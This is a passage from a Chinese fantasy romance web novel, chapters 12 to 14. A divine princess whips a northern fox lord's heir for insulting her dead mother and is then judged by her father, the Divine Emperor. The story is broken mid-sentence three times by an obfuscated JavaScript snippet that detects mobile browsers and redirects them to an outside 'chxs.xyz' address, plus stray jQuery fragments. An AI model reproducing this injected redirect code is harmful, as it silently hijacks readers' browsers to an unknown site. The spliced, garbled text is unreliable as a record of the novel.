九昭坦荡望了过来,无谓男女有别,眸中流转的光彩显出朱映欲言又止的面孔。 不等朱映说什么,她将他牵得更紧,大摇大摆走出离恨天。 根据路程远近和亲疏喜好,他们首先来到代表南陵的琼英王府邸。 这座外形好似盛放牡丹的宫殿,对应南陵以牡丹族为尊的辖地传统,粉白二色为主,雕栏玉砌,极尽华美雍容,就连微风中也浮动着百花齐放般的异香,叫人闻之欲醉。 院内嬉戏着一群彩衣少女,九昭伏在墙头定睛一看,琼英王的独女重瑶宗姬也在其中。 她一身齐腰襦裙,额头的牡丹印记熠熠生辉,正在和同伴比赛投壶。 “本殿倒是与重瑶还算合得来,可惜——”她晚出生一万年,仙力较滢罗相差甚远。 一手扒住墙砖,一手撑着侧脸,九昭的目光定在阁中群仙的身上不放,自顾自嘀咕着。 她可以心无旁骛地挑选支持对象,而拘于礼节,半蹲在高墙上的朱映却要考虑许多了。 就着极其别扭的姿势,他回过头去,尴尬地看着墙外路过巡查的南陵护卫倏忽停下脚步,彼此疑惑交谈道:“诶,你看,墙上的玉砖怎么动了?” “我不知道啊。” …… 眼见南陵战力不足,九昭又带着朱映前往东原。 东原的环境气候更接近于人间芸生世。 每年的六到七月和十二月到来年二月,都有着鲜明的冷热更迭。 不管人还是草木动物,都会更趋向于同自己飞升前相似的住地。 因此东原也是人族神仙聚集最多的地方。 东原照羽王过去是人间修仙大门派的宗主,受封神王后,他在二清天的住所也保留着宗门住所的式样,内有太极八卦,外有群鹤纷飞,以青白二色象征克己守心,清净无为的处事态度。 时至午后,庭院内悄无声息。 九昭好奇他们在做什么,自高墙跃下,信步走进檐廊,方见三五年轻人正在室内打坐。 他们却也并非修行,似乎只是坐着,不见仙灵流通四周。 九昭瞧得专注,手肘捅捅旁边的朱映:“他们这是在干什么?” “打坐入定,感知周围的道法运行轨迹,这是人族神仙特有的修行方式。” 朱映回答得很是流利,仿佛万事万物皆了然于心。 九昭不由看他一眼:“说起来,你在本殿身边侍奉了千年,本殿却不曾了解过你的身份来历——你这么清楚人族的修行方式,莫非你是从东原来的?” 朱映的目光仍然盯着屋内,等到九昭问完,才慢吞吞地转过来同她对视,唇角微微勾起一抹谦卑的笑意:“自然不是,臣身份低微,不过一介无名散仙,因侍奉得当被帝座赏识,才在万年间一步一步有所提升,接着被帝座委以陪伴保护殿下的重任。” “噢。” 九昭满心都在眼前事上,朱影的回答没过脑子,得到她鼻腔发出的敷衍一声。 …… 转了两处,都没有资质和实力比得上滢罗的,她难免灰心。 只能将希望寄托在最后的北境之上。 但在前往北境神王的宫殿前,她已经给自己打好了预防针。 北境王族九尾狐曾在万年前跟随神后的同胞弟弟巫劭叛乱,虽然后续察觉形势不对,他们立刻调转枪口倒戈,发誓重新效忠神帝,但不忠之人无论投入哪处阵营,都不会再受到重用。 九尾狐族的上任家主因伤故去,新接任的崇黎王成日忙着和北境内迅速崛起的螣蛇一族明争暗斗,几万年过去,族中竟然再也没有培养出过一个天赋异禀的后裔。 哦,差点忘了。 倒是有那么一个在其他领域出名的。 只不过—— 没等九昭于无声唤出那个名字,几道尊卑分明的声音将她思绪打断: “殿下,昨日臣派出人手打听过,此次仙阶考试,滢罗宗姬也会报名参加。” “滢罗?她倒是回回不落,十分执着。 “罢了,既然她这么想要这个位置,何妨卖她个好,避免不必要的竞争。横竖她晋升成功之后,南陵东原那些人年纪轻轻,尚未拥有一战之力,下届考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918055|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试,金仙的位置非本世子莫属。” 身处北境神王的殿宇,再配上本世子的自称,九昭的脑海悄然浮现一张俊美却轻浮的脸。 崇黎王的嫡长子,年长她两万余岁的九尾狐孟楚。 心胸狭窄,天赋平平,靠着母亲的家族势力才能坐稳世子之位,竟敢在这里大放厥词。 她虽看不上滢罗,但滢罗的实力和刻苦程度,也不是他这种草包可以碰瓷的。 九昭轻折眼尾,俯视那道背对他们的身影,磨了磨雪亮的牙尖,目光露出几分不屑。 与之相对的,朱映心间一沉。 这样的开头,想必后头的也不会是什么好话。 他万望孟楚及其跟班能够口有遮拦,不料—— “殿下,您怕是忘了还有离恨天那位。” “离恨天,九昭神姬?” 孟楚抖开手中的山水折扇,故作潇洒地摇了摇,嘴里不屑哼笑,“她一个满脑子都是兰祁,兰祁堕魔后天都塌了的废柴点心能成什么气候?” “可那位没到成年就升了金仙,在此之前,三清天从未有人做到过……” “所以呢?成为金仙又怎样,还不是前脚被兰祁气得吐血,后脚又被扶胥上神嫌弃?要本世子说,她就是一个扫把星,原本神后都要好起来了,就是为了生下她才会——” “王兄,请慎言!” 简短几句话,不屑和轻蔑从九昭的眼中褪去,她唇角轻松的笑容亦不复。 朱映不敢去看九昭的脸,只发觉周身的空气温度迅速变高,口眼鼻唇处似有火灼烧—— 这是凤凰真血之力出现的征兆。 别的也就算了。 偏偏,孟楚非要同时提起神后和兰祁,这一向是九昭的逆鳞。 这厮真是找死! “殿下,不要轻举妄动,暗自打探考生信息,本是违背三清天法令的事。”朱映回握九昭的手,轻声劝告她,“神王世子言行如此放肆,臣回去后会立刻禀告帝座,请求帝座下令惩治。” 九昭来不及说话,几丈开外厉声喝止孟楚的另一道男声,再次将她的注意力夺去。 孟楚从来都是被众星捧着的月亮,更有着放眼北境,一人之下万人之上的高贵身份。 自家的地盘,竟然有人跟他唱反调。 孟楚登时有些下不来台。 看清楚与自己作对之人的面孔后,他更加心火灼烧。 “祝晏,你一个贱妾生的庶出子,也配跟本世子叫板?!” 名叫祝晏的青年有一张美丽到极致的面孔,流银般的长发,青蓝翡翠似的瞳孔,就连身上的着装、颈项耳骨的配饰都清一色极为浅淡低调,却又衬托出他的五官秾丽,近乎妖魔。 孟楚的辱骂入耳,他不卑不亢行礼,站在对方一臂开外:“兄长不顾整个九尾狐族的性命安危,就要口出忤逆言论,无论臣弟是您的同胞兄弟,还是任一北境普通平民,都有资格劝阻。” “放屁!本世子什么时候口出忤逆言论了?” 反应过来,孟楚也意识到自己对于九昭的评价太过僭越。 但话说回来,这里乃北境王邸,外有禁制,哪怕神帝都不可能一天十二个时辰时时监听。 外人没听见,就等于没说过。 祝晏又能奈他何? 将心落回肚子里,孟楚重新挺直腰板。 由于祝晏的身量过高,他不得不纡尊抬头仰视。 正当他想要给自己这个名义上的弟弟一点教训的时候,高墙上传来冰凉刺骨的女音: “你说没说过,就是没说过吗? “本殿可是全都听见了。” 12. 第12章 从孟楚发表那一通“阔论”开始,朱映便知晓他在劫难逃了。 情感上,他支持九昭的一切行动,并由衷认为,单凭孟楚的嚣张程度怎么惩罚都不为过。可从法理上,他也能够想见九昭亲自动手而招致的后果。 “殿下,惩罚神王世子这种小事何须脏了您的手,让臣来做就是,定叫殿下满意。” 九昭收起神隐衣的瞬息,他以密语恳切相求。 而九昭回答他的声音有着超乎寻常的冷静:“孟楚生性睚眦必报,又有北神王纵容,若今日你代掌刑罚,他们纵然奈何不了本殿,但将来定会找你的麻烦。多说无益,本殿心意已决。” 言罢,九昭松开彼此交握的双手。 将她的话一字不落听完的朱映,说不清此刻的内心究竟是何滋味。 他的视野尽处,红衣的神姬跃下高墙,如同一团点燃万物的火焰,狠狠撞进所有人心间。 北神王的府邸,比拟北境的风雪漫天。 一片银装素裹的境地里,断不会出现如烈火一般的张扬赤红。 正是这种突兀,造就了极致的明艳,一个照面便咄咄逼人地摄住在场所有人的呼吸。 孟楚的眸间亦迅速浮起一丝惊艳和垂涎。 正是这个短暂的、没有叫孟楚立刻认清当下形式的间隔,那同样燃烧着赤色辉光的打神鞭,已然出现在九昭白皙的掌心。 “她就是一个扫把星。 “原本神后都要好起来了,就是为了生下她才会—— “才会什么?不如神王世子在本殿面前说个清楚。” 九昭慢条斯理重复着孟楚的话,与此同时,有明灭的火光浮绕在她眸底。 她、她什么都听见了—— 该死,青天白日,她怎么会有闲心跑到二清天的神王殿来偷听?! 最后一丝侥幸心理被九昭的言辞打灭。 孟楚一边无声大叫,一边用在危机面前爆发出巨大潜力的脑子思忖起来: 若是承认,按照九昭的脾气,自己不死也得脱去半层皮。 若是咬死不承认,似乎更有可能争取一线生机。 况且九昭那里加上朱映才两人,自己身后有四五个人,事关北境的安危,料想祝晏也不敢胳膊往外拐,胡乱说出事情真相,就算吵到神帝的紫微宫—— 是了,是了,吵到神帝的紫微宫更好。 没关系的。 这些都算不了什么。 九昭是金仙,自己也是金仙。 真的打斗起来,他还能被九昭给杀了不成? 孟楚安慰着自己,用眼色示意旁边的同伴赶紧设法向崇黎王求援,又转过面孔,硬着头皮与九昭对视:“臣孟楚见过神姬殿下。只是未知殿下口中所说是何意思,臣竟一句也听不懂。” 九昭瞳孔的火光愈盛,步步走上前来。 她难得没有如同平时那样,乜着目光撩起袖子做出争吵的姿态。 在走到足够看清孟楚脸上每一丝表情变化的距离时,她轻笑一声,低头轻抚打神鞭的握柄:“听不懂还是听得懂,本殿都无所谓了。横竖今天心情不好,总要找个东西出出气——” 语至尾梢,情势陡转,随同她话音一同上扬的,是凌厉而至的鞭风! 孟楚心叫不好,连忙施法抵挡。 九尾狐族生性亲近金属性,皮毛、爪牙、骸骨皆可制作法器,有着强大的防御之力。 只见一道扇形的光弧组成屏障,死死阻隔在他与九昭中央,遽然间打神鞭难以寸进。 孟楚的面孔隐在半透明防御屏障后看不分明,奈何唇角弧度分外刺眼,显出主人内心得意。 稍等一炷香的时辰。 父王到来,自己就能安然无恙。 不攻击九昭,仅用防御屏障破了她的攻击术,也能即刻叫她颜面扫地。 看吧,高高在上的神姬,居然败在一个臣子的手下。 这不是废物点心是什么? 孟楚幻想着九昭威风全无的场景,加大仙力释放,还撑着屏障靠近九昭,似笑非笑挑衅。 “神姬殿下,您——” “何必白费力气”几个字未出口,他的瞳孔忽然惊恐瞪大,倒映着九昭锋利如刀的面孔,以及高高扬起,再度排山倒海袭来的鞭风。 如同烧红的利刃遇上凝结的油脂,打神鞭顺利无比劈开浅金色的防御屏障,自孟楚错愕的面孔到掐诀的手指,留下一道蜿蜒的、皮开肉绽的血痕。 “啊!!” 尖叫声出,疼痛后知后觉加倍翻涌。 孟楚断在嗓子里的音调逐渐变为一声声连绵不绝的惨叫: “啊啊啊啊!!九昭你怎么敢!!!” “九昭?” 臣下不得直呼君上大名,这是亘古不变的规矩。 九昭玩味唤出自己的名字,赤色火光已然尽数占据她妩媚的眼睛。 她再度出手,不过两下便劈开孟楚全力撑起的防御屏障,在他身上留下数道骇人的血迹。 “快点,快点来帮我—— “九昭神姬疯了,她要杀了我——” 孟楚痛得话都说不清楚,此刻也顾不得以上犯下、以多欺少的刻板规矩。他大声呼喊退在旁边不够资格参与纷争的北境贵族,又在九昭的攻击里,随机挑选一人作为自己的肉盾。 他不堪的手段起了作用,那些不想参与但为性命着想的男女们,终于联起手来抵抗。 九昭仙力只至金仙,愤怒下的爆发使她轻松击伤孟楚,可这么多高阶的北境贵族之力叠加起来,她也难免不敌。 被三鞭抽到毁容的孟楚捂着自己渗血的眼睛,过量的疼痛扭曲了他的面孔,疯癫狼狈到如同恶鬼,他窥探到九昭逐渐力竭的错漏,大拇指与中指捻出一缕仙力,便想趁机偷袭。 单挑上升到群架,原本听劝在旁的朱映立刻护主加入战局。 他挡在九昭身前,反手挡下孟楚的攻击,无数赤色的光圈在他掌心悬浮,而后找准各自的目标,将那些帮助孟楚抗衡九昭的贵族子弟们通通撞倒在地,捆绑起来。 “大胆,神姬殿下岂容尔等冒犯!” 他高声呵斥他们的不臣行径,不到顷刻九昭的对面只站着一个苦苦支撑的孟楚。 帮完九昭,朱映也不再说些得饶人处且饶人的废话,他估算着时间和孟楚所能承受的程度,一指冲破周围的上神结界,令感应到动静的仙兵紧急前往紫微宫通知神帝。 满地落雪间,九昭的长发衣衫无风自舞,她将疯狂叫嚣着“我乃北境神王世子,不是你常曦殿仆役”的孟楚一鞭抽倒,一下又一下,鞭开他的衣衫、血肉,受损最严重处可见森森白骨。 “贱人,贱人,九昭你这个贱人——你打了我,以为自己就能安然无恙吗?!你且仔细想想,抛开神姬的身份,这偌大三清天有几人真心服你!!!” 骂到最后,孟楚的半副真身被九昭打了出来,他身为狐族尚未修成九尾,六条毛茸茸的尾巴在身后胡乱摇摆,又随着孟楚气息的消散,逐渐无力地耷拉在身后,失去仙光蜷缩成灰扑一团。 “殿下,您快将北境世子打回原形了。” 朱映终是具备理智,上前一步低声提醒。 九昭头也未回,又一鞭将要挥出,云上倏忽响起仙官通报声:“神帝、北神王到——” …… 受伤严重的孟楚被两位医官一左一右扶起,带入内殿治疗,生死未知。 除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918056|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开祝晏、九昭和朱映,其他人均受伤不同程度的轻伤,不方便挪动,神帝只好暂时将北境王邸的正殿当做公堂。 他在主位坐定,目光逡巡过九昭的身躯,确定九昭没有受伤,才放下心来,用柔和不失威严的语调询问道:“昭儿,这是怎么回事?” 事实证明,孟楚设想的,九昭将从他那里听到的话一五一十告诉神帝,然后苦于没有提前准备证据,两方谁也不承认,互相辩驳争论的场面根本不存在。 九昭负手立在殿中,闻听神帝的垂询,只是仰起面孔来,昂然道:“回父神的话,没什么大不了的事,不过是儿臣看孟楚不顺眼,将他打了一顿。” 如此傲慢的言语一出,神帝和被恩准坐在侧下方的北神王还没给出反应,那些跟着北神王崇黎一同到来的北境属臣纷纷露出错愕的神情。 笑话! 孟楚是谁,是北境未来的神王,不是寂寂无名的散仙小卒。 九昭未成为神帝就如此暴戾无道,难保三清天的未来不毁在她手里! 群情激奋,有年轻气盛的属臣不禁对九昭目露愤懑。 神帝却仍然心平气和:“看不顺眼发生争执,总有原因,你且告诉本座,原因是什么?” “没有原因。” 九昭绷紧下颌,硬邦邦顶出一句。 见她对待自己的父亲都如此不恭顺,更多的北境属臣侧目以对,窃窃私语声随即传来。 “这也……” “太跋扈了!” “就算贵为神姬,也不能蛮不讲理——” 外人不清楚九昭打人的原因,朱映却十分清楚。 他深吸一口气,顶着重重压力试图把真相公之于众,落在脚边的衣摆反被九昭踩住。 九昭不曾对他使用心音,抗拒的姿态却分明无疑。 兰祁悔婚、神后早逝,皆是她心中毕生无法忘却的痛楚,如今当着众人的面,重述孟楚的恶言,自揭伤疤,就算能够赢得神帝不怪罪的理由,博取不知者的理解和同情—— 那又有什么用。 神姬九昭生性高傲,臣子们的怜悯于她而言不过是另一种层面的侮辱。 朱映不用转头,也能感应到周围异样的目光,仿佛九昭从来便是这座高贵门庭里的异类。 他的心忽而控制不住地收缩起来,一种酸涩而怜惜的陌生情绪喷涌而出。 他最终选择尊重九昭的意愿,俯下头颅,做她身后安静的影子。 九昭拒绝交代来龙去脉,而她的侍官也是住嘴绝口不言。 此等情势之下,失去了孟楚这根主心骨的北境众人,猜测定是九昭碍于颜面,不愿就神后和兰祁的话题于他们在御前争辩,于是气焰登时嚣张起来,你一言我一语道: “帝座明鉴,我家世子平素便是个真性情的人,言语也格外不拘小节。他并无真正冒犯九昭殿下的意思,只是就仙阶考试的最终魁首发表了一些猜测。” “许是世子猜测的人选不符合神姬殿下之意,惹得神姬殿下不满,才会引起冲突……” “可怜我家世子一心尊重神姬殿下,单方面任由神姬殿下发泄,最后竟被打成这副样子。” “求求帝座为世子,为臣等做主啊——” 对方众人颠倒黑白的功夫令人咋舌,朱映气得忍不住握紧拳头。 他望着九昭倔强挺直的肩膀,只觉这一秒的她如同被汹涌潮水席卷的孤岛。 窥见九昭这方怒而不言的姿态,北境告状的声音更是此起彼伏。 就在孟楚将被彻底洗白,而九昭要沦为十恶不赦罪人之际,那站在最后方,始终不发一言的祝晏大步迈了出来,站到神帝面前:“帝座,事情真相并非如此,臣有言要奏。” 13. 第13章 祝晏的声音如他的长相一般,堪堪出现就吸引了所有人的注意力。 “禀告帝座,臣可以作证,的确是王兄出言冒犯在先,犯下不敬之罪,神姬殿下才会亲手惩罚他的。且后续的情况也不似北境诸位所说的那样,仅是王兄单方面承受鞭打,过程中他有过回击,只是被神姬殿下的侍官以身抵挡了下来,这才没有对神姬殿下造成伤害。” 一边倒的风向里突然冒出个异类,还说孟楚挨打从头到尾都是他自作自受。 这让站在两侧,同仇敌忾的北境属臣们顿时有些尴尬。 滞涩几秒,有人嘀咕:“怎的祝晏公子和其余人等的说辞全然不同,到底谁说了谎……” 祝晏坦然回对:“我此前从未与神姬殿下见过面,有何理由袒护神姬殿下?” “你才一个人,那些说神姬无故殴打世子的却有三四人,按照数量分明——” “谁人多就能够占据道理吗?” 祝晏一句话叫质问之人哑口无言。 可很快又有另一道声音补上:“就算世子真的言辞有失,也不至于叫他拿命相抵吧?” 孟楚被打出原身六尾,是谁都看在眼里的。 不能把错全部推到九昭的头上,他们怎么也要给她安上个狠毒的罪名。 祝晏没有立刻反唇相讥,就着并肩的姿势,他朝九昭的方向投去一眼。 见对方没有因自己的自作主张露出不悦,他沉吟片刻,跳过孟楚口中兰祁的部分,意味深长地轻声道:“王兄的言论还提及神后,试问天下有谁能够面对父母声名无动于衷。” 这下,所有人都不说话了。 神后是九昭的母亲,想要利用她来打击九昭,所能用到的,唯有九昭降生与神后崩逝发生在同一日这件往事——可为了不让女儿长大后良心难安,神帝早就下令禁止三清天再将此提及。 祝晏的作证,若是假的还好。 若是真的,孟楚的背后言论涉及禁令,那么他犯下的罪行恐怕不是被打一顿就能揭过。 想到这里,北境仙族们的脸色通通难看了起来。 祝晏只想证明九昭的清白,无意深入这个话题。 他再度拱手,面朝神帝毕恭毕敬开口,“帝座,堂前各执一词的争辩终究无用,想要判断谁撒谎,办法其实很简单,将神姬殿下以及臣几人分别隔开审问争执过程,事出紧急,料想说谎者还没对过口供,只要多问几个问题,总能发现众口不一的错漏。” “帝座,依臣看,无需再额外审问。” 敛袖坐在下首,事到如今未置一言的北神王终于活了过来。 他不等神帝做出决定,疾步行至台下,竟然不顾神王威仪,撩起下摆跪倒在地,“这件事根本从头到尾就是臣那不争气的儿子的错,臣管教无方,自知犯下大错,恳请帝座赐罪!” 北神王俯首,砰砰磕地三个响头。 如此言辞恳切还不够,又并起两指一动,一缕金色神力朝着内殿急速射去。 不过眨眼,那原本躺在床上接受治疗的孟楚,猝不及防一屁股摔坐在大殿上。 孟楚尚处于初醒状态,身上破烂的长袍褪去,换了件整洁的中衣,囫囵有了个人样。 甫一见到父亲和神帝的面孔,以及两侧正襟危立的北境属臣,他痛得龇牙咧嘴的表情硬生生收了回去,睁大的瞳孔闪过一丝迷茫,显得有些滑稽。 北神王没有给孟楚反应的机会。 手指一勾,那金光一分为二,将孟楚手脚捆住,拖拽着他来到自己手边。 “父、父王,这是怎——” 孟楚的困惑被一个用劲狠厉的巴掌抽断。 响亮的动静未止,北神王又抓着他的衣襟,左右开弓,啪啪啪啪给了四个极重的耳光。 两颗染血的犬牙从孟楚口中喷出,他一边哀声凄叫着“父王为什么”,一边侧头躲避,瘦长的身躯在北神王毫不留情的铁掌下来回扭动,像极了即将被开膛破肚的大毛毛虫。 “你还敢躲!” 北神王干脆一把掐住孟楚的脖颈,窒息的感觉令孟楚再也无力躲闪,结结实实的耳光伴随着痛斥声,惊起飞檐上栖息的一排雀鸟,“你是什么身份,神后也是你可以随便议论的?! “神姬为君,你为臣,你痴长的年岁都活到狗肚子里了!竟然敢以下犯上! “殿下还是给你留了情面,如此悖逆不敬,就是被剔除仙骨打下长生台也不为过!!” 一时间,孟楚脸上鲜血眼泪齐飞,将皎洁的玉砖映上点点红梅。 崇黎动手教训亲子,摆明了要作证九昭并无半分过错。 北境属臣们战战兢兢,大气不敢出,而那些拥趸孟楚,扭曲事实的仙族更是面如死灰。 九昭冷眼旁观父子俩做戏,又别开面孔,去瞧另一位“大义灭亲”者祝晏的表情。 然而,无论是已经是结束的,还是正在上演的,都很无趣。 九昭收回目光,盯着玉砖之上倒映出来的,自己冰冷的眼睛。 不知过了多久,在好不容易苏醒的孟楚又要彻底昏死之际,殿上喜怒不辨的神帝终于启唇制止:“好了,崇黎,停手吧,有错当罚,但也要适可而止。” 北神王这才住手。 将奄奄一息的孟楚丢在一边,他双手交叠于身前,以头抢地,分外痛心疾首:“帝座,都是臣平日太忙疏于管教的罪过,臣不敢自辩,今日帝座就是要把楚儿削去仙籍,臣也无话可说!” 神魔交界处就在北境,每次征战讨伐,北神王都要派出兵力辅佐三清天的仙兵。相较于其他三位只需要管理好自己封地事务的神王们,北神王的确有资格称自己一句太忙。 他的话看似说者无心,听者却是有意。 “你既已严厉惩处,孟楚世子也得到了教训,更重的刑罚就不必了。” 神帝抬手,示意身旁仙官将孟楚带下去。 北神王自然千恩万谢,又转过身来,朝着九昭作揖到底,“臣谢过殿下的宽容大度!” 九昭唇角抽了抽,不想接茬,忽然听见北神王在末尾加上一句:“不过臣有个问题,不知可否请殿下解疑?殿下大驾光临神王邸,直接走正门就是,为何要隐去身形趴在墙头……?” 大脑空白一瞬,九昭刚想回答,又记起朱映说过,暗探报考神仙信息,有违三清天法度。 殿外相依翩飞的鸟叫声遥遥传来,清脆悦耳,九昭急中生智,镇定回望过去:“扶胥大败焚业海归来,又逢他的生辰相近,本殿想亲手制作礼物相贺,但其中少了一味极乐鸟的原料。” 极乐鸟只栖息在苦寒之地,浑身上下绮彩辉煌。除了北境,唯有常年风雪环绕的北神王邸可见踪迹。此鸟身形小巧,速度极快,寻常办法难以捕捉,隐去身形小心接近是最常见的方法。一旦捉住,它的骨血羽毛皆是最好的染料,能够让染出来的颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918057|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色千万年熠熠生辉,光洁如新。 九昭的理由找得合情合理,北神王也没抓着不放,理解地点了点头:“原来如此,这些小事殿下直接派人告知于臣就好,臣等下就将极乐鸟送去您的离恨天,不知殿下需要多少数量?” 闹剧上演到此刻,也该收场。 九昭客气颔首,随意编了个数量:“一对就好,多谢崇黎王。” 两人一来一回间,殿内凝肃的气氛趋于缓和,唯独神帝听出北神王话里有话。 他淡淡瞥向九昭,对于她来到神王邸的真实意图,心中倏忽明了几分:“昭儿,虽然崇黎一意将所有错误归咎到孟楚身上,但你行事太过冲动是真,不应随意动用私刑。” 九昭会意行礼:“请父神降罪。” “既如此,就罚你闭门思过三个月,若无本座法令,不得随意外出。” …… 审问结束,神帝率先离开,众人各自散场。 要回离恨天时,九昭最后由着性子一回,对朱映说道:“你先回去,马上要关禁闭了,本殿想再四处看看走走。” 知晓九昭心情不好,朱映也没强求,只道让她小心踪迹,别被北境那帮人抓到抗旨的把柄。 九昭干脆应承,转身朝二清天最边缘的澄心池飞去。 澄心池虽以“池”命名,但外形更接近于一座浮空岛屿。 芳草如茵的绿野簇拥着天地之灵汇聚的湖泊,岸旁还长有一棵上古时期就存在的碧落神木。 对比三清天其他闻名的景色,这里由于位置的缘故,少有人来。 九昭却很喜欢其独有的安静。 渐渐地,澄心池便成为了她疏散心情的自留地。 随意寻了处草坪坐下,九昭蹬掉碍事的鞋袜,并起膝盖,放任脚掌与绵绵草木亲近。 畅风拂动鬓边碎发,望着不远处明镜似的湖面,她终于能够收起面上的满不在乎。 扶胥不告而别后,闭关离恨天的五百年,让九昭快要忘记自己从出生起就不讨喜的事实。 神后,母亲。 九昭默念着这两个称呼,只觉无比遥远和陌生。 她的降生伴随着母亲的离世。 固然神帝安慰过此事与她无关,盖因早前神后在神魔战场上,替他挡去贯心一剑受了致命重伤,能够苦苦支撑一千五百年,迎接九昭的到来已是奇迹。 “父神说过我不是扫把星…… “我怎么可能会是害死母神的扫把星……” 九昭低声念叨几遍,拂开摩挲面孔的碎发,眼底却隐有晶莹泪意。 如果母神崩逝真的与她相关,她又何曾没有向天地祈告过,宁愿自己从未出生。 “明明所有人都不期待我,不欢迎我,恨不得三清天从始至终没有过我的存在。” 罕见的软弱在这个须臾流露,九昭探出手,紧紧抓住胸前的长乐命牌,化作渴望寻求依靠的孩童与不存在的母亲幻影对话:“您能不能告诉我,我来到这个世上究竟是对还是错……” 呢喃的声音消散在风中。 无人能够给予九昭答案。 她眼眶的热泪终究没有溢出,很快风干在原处,一点一点重塑成为神姬骄傲的盔甲。 随后不知名的灵息逸过指尖,她的眼神在感知到异样的顷刻间封冻如冰。 “谁? “做贼似的躲在那里,还不赶紧滚出来!” 14. 第14章 逸散的金光一点一点凝结,九昭身后无人的草地,霎时显出一具颀长男形。 是祝晏。 尽管神王邸中有他帮忙作证在前,但九昭眼底的寒冰依然未消融本分。 “你鬼鬼祟祟地跟着本殿做什么?” 青年俯身作揖的间隙,她伸手抹了把脸,淡声发问。 祝晏摊开手掌,银白鸟笼悬空浮现,里面是一对原本栖息在神王邸飞檐上的极乐鸟:“父王揣度殿下回到离恨天中再欲相见多有不便,于是遣臣赶在您上天辇前先把这对鸟儿送出。 “臣追过去时,正好看见您和朱映仙官说完话,朝反方向飞走了,所以——” 祝晏的话,交代清楚自己只是碰巧撞倒,而非蓄意隐匿身形跟踪九昭。 “本殿没有立刻回去关禁闭的事,你不许说出去。” 望着他纯良的面孔,九昭呲出尖牙,恶狠狠恐吓一句,转眸看向鸟笼中的弱小生灵。 两只流光溢彩的小鸟。 加起来仅有九昭的手掌大小。 在笼子里来回旋飞,啼鸣低啭,似乎并不明白自己即将迎来的处境。 …… 捕捉极乐鸟不过是九昭应付北神王所用的借口。 方才沉浸在自伤的情绪里,倒还真没想过拿到手要怎么处理。 她略作思忖,询问青年道:“极乐鸟需要生活在极寒之地,而本殿的离恨天四季如春,你且告诉本殿,要怎样才能让它们在离恨天存活下去?” 祝晏的目光交织几分惊讶:“原来殿下不是要将它们立刻捣碎充作染料。” 九昭皱眉:“那等残暴之事,本殿岂会——” 话语断成半截,九昭转念心想何必要跟不熟的人展露真实打算,便硬生生改口,“距离本殿完成礼物尚有一段时日,上色是最后一步,本殿不想让它们死得太早,破坏最终效果而已。” “原来是这样。” 对于九昭内心念头的笃定隐在惊讶情绪背后,祝晏装作恍然大悟,唇角勾起一抹笑意。 他并不揭穿九昭的嘴硬,转手在指尖蕴起金光,为鸟笼附上一层仙术。 “给。” 祝晏将鸟笼递了过去,九昭的手指触及底座边缘,顿觉寒意刺骨,“臣下了一道寒霜禁制在鸟笼内部,只要不放它们离开,这对极乐鸟就能平安无事地在笼子里生存下去。 “另外,殿下每天派人给它们喂些沾染仙灵的寒露就行。” 不慎被冻了一下,九昭没再试图用手接过鸟笼。她一挥袖,将鸟笼封进储物戒中,心中到底不忍这对极乐鸟困在笼里一生的悲惨命运,暗忖等回头结束禁闭,自己就将它们放归北境。 她自顾自想着,待回过神来,完成北神王委派任务的青年依旧没走。 他过高的身躯杵在九昭面前,挡住从三清天顶端洒落下来的明媚日光。 “你怎么还不走?” 阴影笼罩在九昭脸上,她抬起头,滞闷心绪难消,生出几分不耐。 祝晏凝视她几瞬,含笑道:“只是在想,殿下果真如臣猜测的那般,心软又良善。” 心软。 良善? 这两个词汇用来形容滢罗,九昭倒是听得耳朵都要起茧,可放在自己身上…… 九昭顿觉颇为新奇,只是顾及祝晏前番宁愿违抗孟楚也要帮助自己的行为,一时难以对青年是真的公正不阿,抑或趋炎附势下定义,便提防地盯着他道:“本殿大半个时辰前才用打神鞭将你王兄抽得死去活来,你转头就在这里夸本殿善良,就算要睁眼说瞎话也别太荒唐。” 九昭的话中讥讽意味十分明显,换做任何一个存在微妙意图的人,都会被刺得面皮发烫。 而祝晏仅是平心听她说完,随即弯起狭长眼梢,青蓝色的瞳孔仿佛嵌着两汪柔波:“有功当赏,有过当罚,殿下秉公论处的行为,怎能成为外界评判殿下为人的标准。” “你没听见父神说吗?就算孟楚有错,本殿也不该随意动用私刑。” 九昭也没想到,有一天身份局势会倒转,变成她指摘自己的错误,而另一方拼命替她找补。 祝晏还是一本正经向着她说话:“不怪殿下气恼,倘若臣处在殿下的位置,听见有人肆无忌惮利用早逝的母亲来猛戳臣的痛楚,臣也断断不会轻易放过那人一马。” 有些话,评价的虽是旁人,代入的却是自己。 九昭打量着祝晏的表情,发觉他在提及“早逝母亲”几个字时,眉眼的阴霾一闪而过。 